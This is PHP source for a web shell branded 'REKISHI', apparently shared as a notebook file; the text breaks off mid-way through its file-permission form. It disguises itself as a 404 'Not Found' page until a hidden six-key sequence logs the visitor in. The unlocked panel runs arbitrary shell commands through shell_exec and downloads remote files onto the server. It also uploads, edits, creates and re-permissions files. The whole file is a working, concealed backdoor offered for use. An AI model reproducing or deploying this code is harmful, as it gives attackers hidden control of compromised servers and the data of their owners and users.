Open in CoCalc with one click!
1
<?php
2
3
ob_start();
4
session_start();
5
6
header("X-XSS-Protection: 1; mode=block");
7
header("X-Frame-Options: DENY");
8
header("X-Content-Type-Options: nosniff");
9
10
set_time_limit(0);
11
error_reporting(E_ALL);
12
ini_set('display_errors', TRUE);
13
14
15
function sanitize_input($data) {
16
return htmlspecialchars(trim($data));
17
}
18
19
20
if (session_status() !== PHP_SESSION_ACTIVE) {
21
session_start();
22
}
23
24
$secret_hash = '0dea60f9dcec872359b63a126bff3e8d';
25
26
if (
27
isset($_POST['secret_hash']) &&
28
hash_equals($secret_hash, $_POST['secret_hash'])
29
) {
30
$_SESSION['logged_in'] = true;
31
32
header('Content-Type: application/json');
33
echo json_encode([
34
'success' => true
35
]);
36
37
exit;
38
}
39
40
41
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
42
43
44
} else {
45
46
$path = isset($_SERVER['REQUEST_URI'])
47
? dirname($_SERVER['REQUEST_URI'])
48
: '/';
49
50
$path = rtrim(
51
str_replace('\\', '/', $path),
52
'/'
53
);
54
55
if (empty($path)) {
56
$path = '/';
57
}
58
59
echo '<!DOCTYPE html>
60
<html>
61
<head>
62
63
<title>Not Found</title>
64
65
<style>
66
67
body {
68
margin: 0;
69
padding: 20px 10px;
70
background: #fff;
71
color: #000;
72
font-family: "Times New Roman", serif;
73
}
74
75
.wrapper {
76
position: relative;
77
}
78
79
h1 {
80
font-size: 40px;
81
margin: 0 0 25px 0;
82
font-weight: bold;
83
}
84
85
p {
86
font-size: 18px;
87
margin: 0;
88
}
89
90
</style>
91
92
</head>
93
94
<body>
95
96
<div class="wrapper">
97
98
<h1>Not Found</h1>
99
100
<p>
101
The requested URL ' . htmlspecialchars($path, ENT_QUOTES, 'UTF-8') . '/ was not found on this server.
102
</p>
103
104
</div>
105
106
107
<script>
108
109
const secretHash = "' . $secret_hash . '";
110
111
let currentInput = "";
112
113
function md5(string) {
114
115
function rotateLeft(value, amount) {
116
return (value << amount) | (value >>> (32 - amount));
117
}
118
119
function addUnsigned(x, y) {
120
return (
121
(x & 0xFFFFFFFF) +
122
(y & 0xFFFFFFFF)
123
) >>> 0;
124
}
125
126
function safeAdd(x, y) {
127
return addUnsigned(x, y);
128
}
129
130
function md5cmn(q, a, b, x, s, t) {
131
return safeAdd(
132
rotateLeft(
133
safeAdd(
134
safeAdd(a, q),
135
safeAdd(x, t)
136
),
137
s
138
),
139
b
140
);
141
}
142
143
function ff(a, b, c, d, x, s, t) {
144
return md5cmn(
145
(b & c) | ((~b) & d),
146
a,
147
b,
148
x,
149
s,
150
t
151
);
152
}
153
154
function gg(a, b, c, d, x, s, t) {
155
return md5cmn(
156
(b & d) | (c & (~d)),
157
a,
158
b,
159
x,
160
s,
161
t
162
);
163
}
164
165
function hh(a, b, c, d, x, s, t) {
166
return md5cmn(
167
b ^ c ^ d,
168
a,
169
b,
170
x,
171
s,
172
t
173
);
174
}
175
176
function ii(a, b, c, d, x, s, t) {
177
return md5cmn(
178
c ^ (b | (~d)),
179
a,
180
b,
181
x,
182
s,
183
t
184
);
185
}
186
187
function utf8Encode(str) {
188
return unescape(encodeURIComponent(str));
189
}
190
191
function convertToWordArray(str) {
192
193
const messageLength = str.length;
194
195
const numberOfWordsTemp =
196
((messageLength + 8) >>> 6) + 1;
197
198
const numberOfWords =
199
numberOfWordsTemp * 16;
200
201
const wordArray =
202
new Array(numberOfWords - 1);
203
204
let byteCount = 0;
205
206
while (byteCount < messageLength) {
207
208
const wordCount = byteCount >> 2;
209
210
wordArray[wordCount] =
211
(wordArray[wordCount] || 0) |
212
(
213
str.charCodeAt(byteCount)
214
<< ((byteCount % 4) * 8)
215
);
216
217
byteCount++;
218
}
219
220
const wordCount = byteCount >> 2;
221
222
wordArray[wordCount] =
223
(wordArray[wordCount] || 0) |
224
(0x80 << ((byteCount % 4) * 8));
225
226
wordArray[numberOfWords - 2] =
227
messageLength << 3;
228
229
wordArray[numberOfWords - 1] =
230
messageLength >>> 29;
231
232
return wordArray;
233
}
234
235
function wordToHex(value) {
236
237
let result = "";
238
239
for (let i = 0; i <= 3; i++) {
240
241
const byte =
242
(value >>> (i * 8)) & 255;
243
244
result +=
245
("0" + byte.toString(16)).slice(-2);
246
}
247
248
return result;
249
}
250
251
const x =
252
convertToWordArray(
253
utf8Encode(string)
254
);
255
256
let a = 0x67452301;
257
let b = 0xEFCDAB89;
258
let c = 0x98BADCFE;
259
let d = 0x10325476;
260
261
for (let k = 0; k < x.length; k += 16) {
262
263
const AA = a;
264
const BB = b;
265
const CC = c;
266
const DD = d;
267
268
a = ff(a,b,c,d,x[k+0],7,0xD76AA478);
269
d = ff(d,a,b,c,x[k+1],12,0xE8C7B756);
270
c = ff(c,d,a,b,x[k+2],17,0x242070DB);
271
b = ff(b,c,d,a,x[k+3],22,0xC1BDCEEE);
272
273
a = ff(a,b,c,d,x[k+4],7,0xF57C0FAF);
274
d = ff(d,a,b,c,x[k+5],12,0x4787C62A);
275
c = ff(c,d,a,b,x[k+6],17,0xA8304613);
276
b = ff(b,c,d,a,x[k+7],22,0xFD469501);
277
278
a = ff(a,b,c,d,x[k+8],7,0x698098D8);
279
d = ff(d,a,b,c,x[k+9],12,0x8B44F7AF);
280
c = ff(c,d,a,b,x[k+10],17,0xFFFF5BB1);
281
b = ff(b,c,d,a,x[k+11],22,0x895CD7BE);
282
283
a = ff(a,b,c,d,x[k+12],7,0x6B901122);
284
d = ff(d,a,b,c,x[k+13],12,0xFD987193);
285
c = ff(c,d,a,b,x[k+14],17,0xA679438E);
286
b = ff(b,c,d,a,x[k+15],22,0x49B40821);
287
288
289
a = gg(a,b,c,d,x[k+1],5,0xF61E2562);
290
d = gg(d,a,b,c,x[k+6],9,0xC040B340);
291
c = gg(c,d,a,b,x[k+11],14,0x265E5A51);
292
b = gg(b,c,d,a,x[k+0],20,0xE9B6C7AA);
293
294
a = gg(a,b,c,d,x[k+5],5,0xD62F105D);
295
d = gg(d,a,b,c,x[k+10],9,0x02441453);
296
c = gg(c,d,a,b,x[k+15],14,0xD8A1E681);
297
b = gg(b,c,d,a,x[k+4],20,0xE7D3FBC8);
298
299
a = gg(a,b,c,d,x[k+9],5,0x21E1CDE6);
300
d = gg(d,a,b,c,x[k+14],9,0xC33707D6);
301
c = gg(c,d,a,b,x[k+3],14,0xF4D50D87);
302
b = gg(b,c,d,a,x[k+8],20,0x455A14ED);
303
304
a = gg(a,b,c,d,x[k+13],5,0xA9E3E905);
305
d = gg(d,a,b,c,x[k+2],9,0xFCEFA3F8);
306
c = gg(c,d,a,b,x[k+7],14,0x676F02D9);
307
b = gg(b,c,d,a,x[k+12],20,0x8D2A4C8A);
308
309
310
a = hh(a,b,c,d,x[k+5],4,0xFFFA3942);
311
d = hh(d,a,b,c,x[k+8],11,0x8771F681);
312
c = hh(c,d,a,b,x[k+11],16,0x6D9D6122);
313
b = hh(b,c,d,a,x[k+14],23,0xFDE5380C);
314
315
a = hh(a,b,c,d,x[k+1],4,0xA4BEEA44);
316
d = hh(d,a,b,c,x[k+4],11,0x4BDECFA9);
317
c = hh(c,d,a,b,x[k+7],16,0xF6BB4B60);
318
b = hh(b,c,d,a,x[k+10],23,0xBEBFBC70);
319
320
a = hh(a,b,c,d,x[k+13],4,0x289B7EC6);
321
d = hh(d,a,b,c,x[k+0],11,0xEAA127FA);
322
c = hh(c,d,a,b,x[k+3],16,0xD4EF3085);
323
b = hh(b,c,d,a,x[k+6],23,0x04881D05);
324
325
a = hh(a,b,c,d,x[k+9],4,0xD9D4D039);
326
d = hh(d,a,b,c,x[k+12],11,0xE6DB99E5);
327
c = hh(c,d,a,b,x[k+15],16,0x1FA27CF8);
328
b = hh(b,c,d,a,x[k+2],23,0xC4AC5665);
329
330
331
a = ii(a,b,c,d,x[k+0],6,0xF4292244);
332
d = ii(d,a,b,c,x[k+7],10,0x432AFF97);
333
c = ii(c,d,a,b,x[k+14],15,0xAB9423A7);
334
b = ii(b,c,d,a,x[k+5],21,0xFC93A039);
335
336
a = ii(a,b,c,d,x[k+12],6,0x655B59C3);
337
d = ii(d,a,b,c,x[k+3],10,0x8F0CCC92);
338
c = ii(c,d,a,b,x[k+10],15,0xFFEFF47D);
339
b = ii(b,c,d,a,x[k+1],21,0x85845DD1);
340
341
a = ii(a,b,c,d,x[k+8],6,0x6FA87E4F);
342
d = ii(d,a,b,c,x[k+15],10,0xFE2CE6E0);
343
c = ii(c,d,a,b,x[k+6],15,0xA3014314);
344
b = ii(b,c,d,a,x[k+13],21,0x4E0811A1);
345
346
a = ii(a,b,c,d,x[k+4],6,0xF7537E82);
347
d = ii(d,a,b,c,x[k+11],10,0xBD3AF235);
348
c = ii(c,d,a,b,x[k+2],15,0x2AD7D2BB);
349
b = ii(b,c,d,a,x[k+9],21,0xEB86D391);
350
351
352
a = safeAdd(a, AA);
353
b = safeAdd(b, BB);
354
c = safeAdd(c, CC);
355
d = safeAdd(d, DD);
356
}
357
358
return (
359
wordToHex(a) +
360
wordToHex(b) +
361
wordToHex(c) +
362
wordToHex(d)
363
).toLowerCase();
364
}
365
366
367
document.addEventListener("keydown", function(e) {
368
369
if (
370
e.ctrlKey ||
371
e.altKey ||
372
e.metaKey
373
) {
374
return;
375
}
376
377
378
if (e.key.length !== 1) {
379
return;
380
}
381
382
383
currentInput += e.key.toLowerCase();
384
385
386
if (currentInput.length > 6) {
387
currentInput = currentInput.slice(-6);
388
}
389
390
391
if (currentInput.length === 6) {
392
393
const inputHash = md5(currentInput);
394
395
396
397
if (inputHash === secretHash) {
398
399
e.preventDefault();
400
e.stopPropagation();
401
402
403
fetch(window.location.href, {
404
method: "POST",
405
406
headers: {
407
"Content-Type":
408
"application/x-www-form-urlencoded"
409
},
410
411
body:
412
"secret_hash=" +
413
encodeURIComponent(inputHash),
414
415
credentials: "same-origin"
416
})
417
418
.then(function(response) {
419
return response.json();
420
})
421
422
.then(function(data) {
423
424
if (data.success === true) {
425
426
window.location.reload();
427
428
}
429
430
})
431
432
.catch(function() {
433
434
});
435
}
436
437
438
currentInput = "";
439
}
440
441
});
442
443
</script>
444
445
</body>
446
</html>';
447
448
exit;
449
}
450
451
$HX = isset($_GET['HX']) ? $_GET['HX'] : getcwd();
452
$HX = str_replace('\\', '/', $HX);
453
if (is_file($HX)) {
454
$HX = dirname($HX);
455
}
456
457
if (isset($_GET['option']) && $_GET['option'] == 'edit' && isset($_POST['new_content'])) {
458
$file_to_save = $_GET['file'];
459
if (is_file($file_to_save)) {
460
if (file_put_contents($file_to_save, $_POST['new_content']) !== false) {
461
header("Location: ?HX=" . urlencode($HX) . "&msg=success");
462
} else {
463
header("Location: ?HX=" . urlencode($HX) . "&msg=error");
464
}
465
exit;
466
}
467
}
468
469
echo '<!DOCTYPE html><html><head><title>REKISHI — 歴史</title>';
470
echo '<link href="https://fonts.googleapis.com/css2?family=Cinzel+Decorative:wght@700;900&family=Orbitron:wght@500;700;900&family=Noto+Sans+JP:wght@400;700;900&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet">';
471
echo '<style>
472
:root {
473
--bg-black: #050304;
474
--bg-panel: rgba(18, 10, 13, 0.85);
475
--bg-input: #0d0709;
476
--blood-red: #ff003c;
477
--blood-glow: rgba(255, 0, 60, 0.5);
478
--neon-gold: #ffb703;
479
--gold-glow: rgba(255, 183, 3, 0.4);
480
--cyber-cyan: #00f0ff;
481
--border-dark: #2d1218;
482
--text-bright: #f0e6e8;
483
--text-dim: #7a5e65;
484
}
485
486
* { box-sizing: border-box; }
487
488
body {
489
font-family: "Noto Sans JP", sans-serif;
490
background-color: var(--bg-black);
491
background-image:
492
radial-gradient(ellipse at 50% 0%, rgba(255, 0, 60, 0.12) 0%, transparent 75%),
493
linear-gradient(rgba(255, 0, 60, 0.03) 1px, transparent 1px),
494
linear-gradient(90deg, rgba(255, 0, 60, 0.03) 1px, transparent 1px);
495
background-size: 100% 100%, 30px 30px, 30px 30px;
496
color: var(--text-bright);
497
margin: 0;
498
padding: 30px 20px;
499
font-size: 0.85rem;
500
min-height: 100vh;
501
overflow-x: hidden;
502
}
503
504
/* Watermark Kanji raksasa di background */
505
body::before {
506
content: "歴史";
507
position: fixed;
508
bottom: -50px;
509
right: -30px;
510
font-family: "Noto Sans JP", sans-serif;
511
font-size: 25vw;
512
font-weight: 900;
513
color: rgba(255, 0, 60, 0.025);
514
pointer-events: none;
515
z-index: 0;
516
line-height: 1;
517
}
518
519
.container {
520
width: 100%;
521
max-width: 1450px;
522
margin: 0 auto;
523
position: relative;
524
z-index: 1;
525
}
526
527
/* Header Cyber-Samurai */
528
.header-area {
529
display: flex;
530
justify-content: space-between;
531
align-items: center;
532
margin-bottom: 30px;
533
padding: 20px 25px;
534
background: var(--bg-panel);
535
border: 1px solid var(--border-dark);
536
border-top: 3px solid var(--blood-red);
537
box-shadow: 0 10px 30px rgba(0,0,0,0.8), 0 0 15px rgba(255, 0, 60, 0.15);
538
backdrop-filter: blur(10px);
539
clip-path: polygon(0 0, 100% 0, 100% calc(100% - 15px), calc(100% - 15px) 100%, 0 100%);
540
}
541
542
.title-group h1 {
543
font-family: "Cinzel Decorative", serif;
544
color: var(--blood-red);
545
font-size: 2.2rem;
546
font-weight: 900;
547
margin: 0;
548
letter-spacing: 4px;
549
text-shadow: 0 0 15px var(--blood-glow), 0 0 30px var(--blood-glow);
550
display: flex;
551
align-items: center;
552
gap: 12px;
553
}
554
555
.title-group h1 span.kanji {
556
font-family: "Noto Sans JP", sans-serif;
557
font-size: 1.8rem;
558
color: var(--neon-gold);
559
text-shadow: 0 0 10px var(--gold-glow);
560
}
561
562
.title-group p {
563
color: var(--neon-gold);
564
margin: 6px 0 0 0;
565
font-family: "Orbitron", sans-serif;
566
font-size: 0.75rem;
567
font-weight: 700;
568
letter-spacing: 3px;
569
text-transform: uppercase;
570
}
571
572
.search-top input[type="text"] {
573
background: var(--bg-input);
574
border: 1px solid var(--border-dark);
575
border-left: 2px solid var(--neon-gold);
576
padding: 12px 18px;
577
color: var(--text-bright);
578
font-family: "JetBrains Mono", monospace;
579
font-size: 0.85rem;
580
width: 300px;
581
transition: all 0.3s ease;
582
}
583
584
.search-top input[type="text"]:focus {
585
outline: none;
586
border-color: var(--blood-red);
587
box-shadow: 0 0 15px var(--blood-glow);
588
}
589
590
/* Grid Layout */
591
.grid-2col {
592
display: grid;
593
grid-template-columns: 1fr 1fr;
594
gap: 25px;
595
margin-bottom: 25px;
596
}
597
598
@media (max-width: 900px) {
599
.grid-2col { grid-template-columns: 1fr; }
600
.header-area { flex-direction: column; gap: 20px; align-items: flex-start; }
601
.search-top { width: 100%; }
602
.search-top input[type="text"] { width: 100%; }
603
}
604
605
/* Cards dengan Katana Accent */
606
.card {
607
background: var(--bg-panel);
608
border: 1px solid var(--border-dark);
609
padding: 22px;
610
margin-bottom: 25px;
611
position: relative;
612
box-shadow: 0 15px 35px rgba(0, 0, 0, 0.7);
613
backdrop-filter: blur(10px);
614
}
615
616
/* Hiasan garis katana di kanan atas card */
617
.card::before {
618
content: "";
619
position: absolute;
620
top: 0;
621
right: 0;
622
width: 40px;
623
height: 3px;
624
background: var(--neon-gold);
625
box-shadow: 0 0 8px var(--neon-gold);
626
}
627
628
.card-title {
629
font-family: "Orbitron", sans-serif;
630
font-size: 0.85rem;
631
color: var(--neon-gold);
632
margin-top: 0;
633
margin-bottom: 18px;
634
font-weight: 700;
635
text-transform: uppercase;
636
letter-spacing: 2px;
637
display: flex;
638
align-items: center;
639
gap: 10px;
640
}
641
642
.card-title::before {
643
content: "⚔";
644
color: var(--blood-red);
645
font-size: 1rem;
646
text-shadow: 0 0 8px var(--blood-glow);
647
}
648
649
/* Inputs & Buttons */
650
input[type="text"], input[type="password"], input[type="url"] {
651
padding: 12px 16px;
652
background: var(--bg-input);
653
border: 1px solid var(--border-dark);
654
color: var(--text-bright);
655
font-family: "JetBrains Mono", monospace;
656
font-size: 0.85rem;
657
box-sizing: border-box;
658
transition: all 0.3s ease;
659
}
660
661
input[type="text"]:focus, input[type="password"]:focus, input[type="url"]:focus {
662
border-color: var(--blood-red);
663
box-shadow: 0 0 12px var(--blood-glow);
664
outline: none;
665
}
666
667
.flex-form {
668
display: flex;
669
gap: 12px;
670
width: 100%;
671
align-items: center;
672
}
673
674
.flex-form input[type="text"], .flex-form input[type="url"] {
675
flex: 1;
676
}
677
678
/* Katana Blade Styled Buttons */
679
.btn-gold {
680
background: linear-gradient(135deg, #ff003c 0%, #990024 100%);
681
color: #fff;
682
cursor: pointer;
683
border: none;
684
padding: 12px 24px;
685
font-family: "Orbitron", sans-serif;
686
font-weight: 700;
687
font-size: 0.78rem;
688
text-transform: uppercase;
689
letter-spacing: 1.5px;
690
white-space: nowrap;
691
transition: all 0.3s;
692
box-shadow: 0 0 12px var(--blood-glow);
693
clip-path: polygon(10px 0, 100% 0, 100% calc(100% - 10px), calc(100% - 10px) 100%, 0 100%, 0 10px);
694
}
695
696
.btn-gold:hover {
697
background: linear-gradient(135deg, #ff2a5f 0%, #ff003c 100%);
698
box-shadow: 0 0 20px var(--blood-glow);
699
transform: translateY(-2px);
700
}
701
702
.btn-outline-blue {
703
background: transparent;
704
border: 1px solid var(--neon-gold);
705
color: var(--neon-gold);
706
cursor: pointer;
707
padding: 12px 24px;
708
font-family: "Orbitron", sans-serif;
709
font-weight: 700;
710
font-size: 0.78rem;
711
text-transform: uppercase;
712
letter-spacing: 1.5px;
713
white-space: nowrap;
714
transition: all 0.3s;
715
clip-path: polygon(10px 0, 100% 0, 100% calc(100% - 10px), calc(100% - 10px) 100%, 0 100%, 0 10px);
716
}
717
718
.btn-outline-blue:hover {
719
background: rgba(255, 183, 3, 0.15);
720
box-shadow: 0 0 15px var(--gold-glow);
721
transform: translateY(-2px);
722
}
723
724
/* Upload Styling */
725
.upload-box {
726
display: inline-flex;
727
align-items: center;
728
background: var(--bg-input);
729
border: 1px dashed var(--blood-red);
730
padding: 6px 12px;
731
gap: 12px;
732
}
733
734
.file-input-wrapper {
735
position: relative;
736
overflow: hidden;
737
display: inline-block;
738
}
739
740
.file-input-wrapper input[type="file"] {
741
font-size: 100px;
742
position: absolute;
743
left: 0;
744
top: 0;
745
opacity: 0;
746
cursor: pointer;
747
}
748
749
.btn-file-dummy {
750
background: var(--neon-gold);
751
color: #000;
752
padding: 8px 16px;
753
font-family: "Orbitron", sans-serif;
754
font-weight: 900;
755
font-size: 0.7rem;
756
text-transform: uppercase;
757
border: none;
758
cursor: pointer;
759
}
760
761
.file-name-text {
762
color: var(--text-bright);
763
font-family: "JetBrains Mono", monospace;
764
font-size: 0.8rem;
765
padding-right: 10px;
766
}
767
768
pre {
769
background: #000;
770
border: 1px solid var(--border-dark);
771
border-left: 3px solid var(--cyber-cyan);
772
padding: 18px;
773
color: var(--cyber-cyan);
774
font-family: "JetBrains Mono", monospace;
775
font-size: 0.85rem;
776
margin-top: 18px;
777
max-height: 280px;
778
overflow-y: auto;
779
box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.9);
780
}
781
782
/* Breadcrumb Path */
783
.path-box {
784
background: var(--bg-panel);
785
padding: 15px 22px;
786
margin-bottom: 25px;
787
border: 1px solid var(--border-dark);
788
border-left: 4px solid var(--neon-gold);
789
font-family: "JetBrains Mono", monospace;
790
font-size: 0.85rem;
791
box-shadow: 0 5px 20px rgba(0,0,0,0.5);
792
}
793
794
.path-box strong {
795
color: var(--blood-red);
796
margin-right: 10px;
797
letter-spacing: 1px;
798
font-family: "Orbitron", sans-serif;
799
}
800
801
.path-box a {
802
color: var(--neon-gold);
803
text-decoration: none;
804
padding: 2px 6px;
805
transition: all 0.2s;
806
}
807
808
.path-box a:hover {
809
color: var(--blood-red);
810
text-shadow: 0 0 8px var(--blood-glow);
811
}
812
813
/* Table Explorer */
814
table {
815
width: 100%;
816
border-collapse: collapse;
817
}
818
819
th {
820
background-color: #0b0507;
821
color: var(--neon-gold);
822
padding: 16px 18px;
823
font-family: "Orbitron", sans-serif;
824
font-size: 0.75rem;
825
font-weight: 700;
826
text-transform: uppercase;
827
letter-spacing: 1.5px;
828
border-bottom: 2px solid var(--border-dark);
829
text-align: left;
830
}
831
832
td {
833
padding: 14px 18px;
834
background: transparent;
835
color: var(--text-bright);
836
font-size: 0.85rem;
837
border-bottom: 1px solid var(--border-dark);
838
transition: background 0.2s;
839
}
840
841
tr:hover td {
842
background: rgba(255, 0, 60, 0.05);
843
}
844
845
td a {
846
color: var(--text-bright);
847
text-decoration: none;
848
font-family: "JetBrains Mono", monospace;
849
font-weight: 500;
850
transition: color 0.2s;
851
}
852
853
td a:hover {
854
color: var(--blood-red);
855
text-shadow: 0 0 5px var(--blood-glow);
856
}
857
858
/* Action Buttons */
859
.actions { white-space: nowrap; }
860
.actions a {
861
font-family: "Orbitron", sans-serif;
862
font-size: 0.68rem;
863
padding: 5px 12px;
864
text-decoration: none;
865
display: inline-block;
866
margin-right: 4px;
867
font-weight: 700;
868
text-transform: uppercase;
869
letter-spacing: 0.5px;
870
transition: all 0.2s;
871
}
872
873
.act-chmod, .act-rename {
874
border: 1px solid var(--neon-gold);
875
color: var(--neon-gold);
876
}
877
.act-chmod:hover, .act-rename:hover {
878
background: var(--neon-gold);
879
color: #000;
880
box-shadow: 0 0 10px var(--gold-glow);
881
}
882
883
.act-delete {
884
border: 1px solid var(--blood-red);
885
color: var(--blood-red);
886
}
887
.act-delete:hover {
888
background: var(--blood-red);
889
color: #fff;
890
box-shadow: 0 0 12px var(--blood-glow);
891
}
892
893
.act-download {
894
border: 1px solid var(--cyber-cyan);
895
color: var(--cyber-cyan);
896
}
897
.act-download:hover {
898
background: var(--cyber-cyan);
899
color: #000;
900
box-shadow: 0 0 10px rgba(0, 240, 255, 0.4);
901
}
902
903
/* Alerts */
904
.status-msg {
905
padding: 14px 20px;
906
margin-bottom: 25px;
907
font-family: "Orbitron", sans-serif;
908
font-size: 0.8rem;
909
font-weight: 700;
910
letter-spacing: 1px;
911
}
912
913
.status-success {
914
background: rgba(0, 255, 170, 0.08);
915
border: 1px solid #00ffaa;
916
color: #00ffaa;
917
box-shadow: 0 0 10px rgba(0, 255, 170, 0.2);
918
}
919
920
.status-error {
921
background: rgba(255, 0, 60, 0.12);
922
border: 1px solid var(--blood-red);
923
color: var(--blood-red);
924
box-shadow: 0 0 15px var(--blood-glow);
925
}
926
927
textarea {
928
font-size: 13px;
929
width: 100%;
930
height: 400px;
931
background-color: #000;
932
color: var(--cyber-cyan);
933
border: 1px solid var(--border-dark);
934
padding: 18px;
935
font-family: "JetBrains Mono", monospace;
936
box-sizing: border-box;
937
}
938
939
textarea:focus {
940
outline: none;
941
border-color: var(--blood-red);
942
box-shadow: 0 0 15px var(--blood-glow);
943
}
944
</style>
945
<script>
946
function updateFileName(input) {
947
var label = document.getElementById("file-name-display");
948
if(input.files.length > 0) {
949
label.innerText = input.files.length + " File(s) selected";
950
} else {
951
label.innerText = "No file selected";
952
}
953
}
954
</script>
955
</head><body>';
956
957
echo '<div class="container">';
958
echo '<div class="header-area">';
959
echo '<div class="title-group"><h1>REKISHI <span class="kanji">歴史</span></h1><p>Special Grade Anomaly</p></div>';
960
echo '<div class="search-top">';
961
echo '<form method="get" style="margin:0;">';
962
echo '<input type="text" name="search" value="'.(isset($_GET['search']) ? htmlspecialchars($_GET['search']) : '').'" placeholder="🔍 SEARCH TERRITORY..." />';
963
echo '</form>';
964
echo '</div></div>';
965
966
if (isset($_GET['msg'])) {
967
if ($_GET['msg'] == 'success') {
968
echo '<div class="status-msg status-success">⚔ WORKSPACE UPDATED</div>';
969
} elseif ($_GET['msg'] == 'error') {
970
echo '<div class="status-msg status-error">⚔ ACTION BLOCKED</div>';
971
}
972
}
973
974
echo '<div class="grid-2col">';
975
// Box 1: Terminal
976
echo '<div class="card">';
977
echo '<div class="card-title">TERMINAL SHELL COMMAND</div>';
978
echo '<form method="post" class="flex-form">
979
<input type="text" name="cmd" placeholder="Execute command (e.g., ls -la, whoami)" required />
980
<input type="submit" value="EXECUTE" class="btn-gold" />
981
</form>';
982
if (isset($_POST['cmd'])) {
983
$command = $_POST['cmd'];
984
echo '<pre>' . htmlspecialchars(shell_exec($command)) . '</pre>';
985
}
986
echo '</div>';
987
988
// Box 2: Remote File Fetcher
989
echo '<div class="card">';
990
echo '<div class="card-title">REMOTE FILE</div>';
991
echo '<form method="post" class="flex-form">
992
<input type="url" name="remote_url" placeholder="Remote File URL (http://site.com/payload.txt)" required />
993
<input type="submit" value="EXECUTE" class="btn-gold" />
994
</form>';
995
if (isset($_POST['remote_url'])) {
996
$remote_url = filter_var($_POST['remote_url'], FILTER_SANITIZE_URL);
997
if (filter_var($remote_url, FILTER_VALIDATE_URL)) {
998
$file_name = basename($remote_url);
999
if (file_put_contents($file_name, fopen($remote_url, 'r'))) {
1000
echo '<div class="status-msg status-success" style="margin-top:15px;">Summoned: ' . $file_name . '</div>';
1001
} else {
1002
echo '<div class="status-msg status-error" style="margin-top:15px;">Summoning failed.</div>';
1003
}
1004
} else {
1005
echo '<div class="status-msg status-error" style="margin-top:15px;">Invalid Scroll URL.</div>';
1006
}
1007
}
1008
echo '</div></div>';
1009
1010
echo '<div class="path-box"><strong>PATH</strong> ';
1011
$paths = explode('/', $HX);
1012
foreach ($paths as $id => $pat) {
1013
if ($pat == '' && $id == 0) {
1014
echo '<a href="?HX=/">/</a>';
1015
continue;
1016
}
1017
if ($pat == '') continue;
1018
echo '<a href="?HX=';
1019
for ($i = 0; $i <= $id; $i++) {
1020
echo "$paths[$i]";
1021
if ($i != $id) echo "/";
1022
}
1023
echo '">'.$pat.'</a>/';
1024
}
1025
echo '</div>';
1026
1027
// Box 3: Workspace Manager
1028
echo '<div class="card">';
1029
echo '<div class="card-title">WORKSPACE</div>';
1030
echo '<form method="post" class="flex-form" style="margin-bottom: 20px;">
1031
<input type="text" name="new_name" placeholder="Name Of File / Folder" required />
1032
<input type="submit" name="create_file" value="+ FILE" class="btn-gold" />
1033
<input type="submit" name="create_dir" value="+ FOLDER" class="btn-outline-blue" />
1034
</form>';
1035
1036
if (isset($_POST['create_file'])) {
1037
$new_file = $HX . '/' . sanitize_input($_POST['new_name']);
1038
if (file_put_contents($new_file, '') !== false) {
1039
echo '<div class="status-msg status-success">File Created.</div>';
1040
} else {
1041
echo '<div class="status-msg status-error">Failed to create File.</div>';
1042
}
1043
}
1044
1045
if (isset($_POST['create_dir'])) {
1046
$new_dir = $HX . '/' . sanitize_input($_POST['new_name']);
1047
if (mkdir($new_dir)) {
1048
echo '<div class="status-msg status-success">Domain Created.</div>';
1049
} else {
1050
echo '<div class="status-msg status-error">Failed to create domain.</div>';
1051
}
1052
}
1053
1054
// Multiple Upload Form Area
1055
echo '<form enctype="multipart/form-data" method="POST" style="margin:0; display:flex; gap:12px; align-items:center;">
1056
<div class="upload-box">
1057
<div class="file-input-wrapper">
1058
<button type="button" class="btn-file-dummy">SELECT FILE</button>
1059
<input type="file" name="files[]" required multiple onchange="updateFileName(this)" />
1060
</div>
1061
<span class="file-name-text" id="file-name-display">NO FILE SELECTED</span>
1062
</div>
1063
<input type="submit" value="UPLOAD" class="btn-gold" />
1064
</form>';
1065
1066
// Multiple Upload Backend Processor
1067
if (isset($_FILES['files'])) {
1068
$errors = 0;
1069
$success = 0;
1070
$total_files = count($_FILES['files']['name']);
1071
1072
for ($i = 0; $i < $total_files; $i++) {
1073
if (empty($_FILES['files']['name'][$i])) continue;
1074
1075
$target_file = $HX . '/' . basename($_FILES['files']['name'][$i]);
1076
if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $target_file)) {
1077
$success++;
1078
} else {
1079
$errors++;
1080
}
1081
}
1082
1083
if ($success > 0 && $errors == 0) {
1084
echo '<div class="status-msg status-success" style="margin-top:15px;">Uploaded ' . $success . ' scroll(s) successfully.</div>';
1085
} elseif ($success > 0 && $errors > 0) {
1086
echo '<div class="status-msg status-success" style="margin-top:15px;">Success: ' . $success . ', Failed: ' . $errors . '</div>';
1087
} else {
1088
echo '<div class="status-msg status-error" style="margin-top:15px;">All scrolls failed to upload.</div>';
1089
}
1090
}
1091
echo '</div>';
1092
1093
if (isset($_GET['option'])) {
1094
$option = $_GET['option'];
1095
$file = $_GET['file'];
1096
1097
if (is_file($file) || is_dir($file)) {
1098
echo '<div class="card" style="border-left: 4px solid var(--neon-gold); margin-bottom:25px;">';
1099
1100
if ($option == 'view' && is_file($file)) {
1101
echo '<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 18px;">';
1102
echo '<h3 class="card-title" style="margin: 0;">Inspecting File: ' . htmlspecialchars(basename($file)) . '</h3>';
1103
echo '<a href="?option=edit&file=' . urlencode($file) . '&HX=' . urlencode($HX) . '" class="btn-gold" style="text-decoration:none; padding: 8px 16px;">EDIT FILE</a>';
1104
echo '</div>';
1105
echo '<textarea readonly>' . htmlspecialchars(file_get_contents($file)) . '</textarea>';
1106
1107
} elseif ($option == 'edit' && is_file($file)) {
1108
echo '<form method="post">
1109
<h3 class="card-title">EDIT FILE CONTENT: '.htmlspecialchars(basename($file)).'</h3>
1110
<textarea name="new_content">'.htmlspecialchars(file_get_contents($file)).'</textarea><br><br>
1111
<input type="submit" value="Save Changes" class="btn-gold" />
1112
<a href="?HX='.urlencode($HX).'" style="color: var(--blood-red); text-decoration: none; margin-left: 15px; font-family: Orbitron; font-size: 0.8rem; font-weight: 700;">[ CANCEL ]</a>
1113
</form>';
1114
1115
} elseif ($option == 'chmod') {
1116
if (isset($_POST['new_perms'])) {
1117
chmod($file, octdec($_POST['new_perms']));
1118
echo '<div class="status-msg status-success">Permissions altered.</div>';
1119
}
1120
echo '<form method="post" class="flex-form">
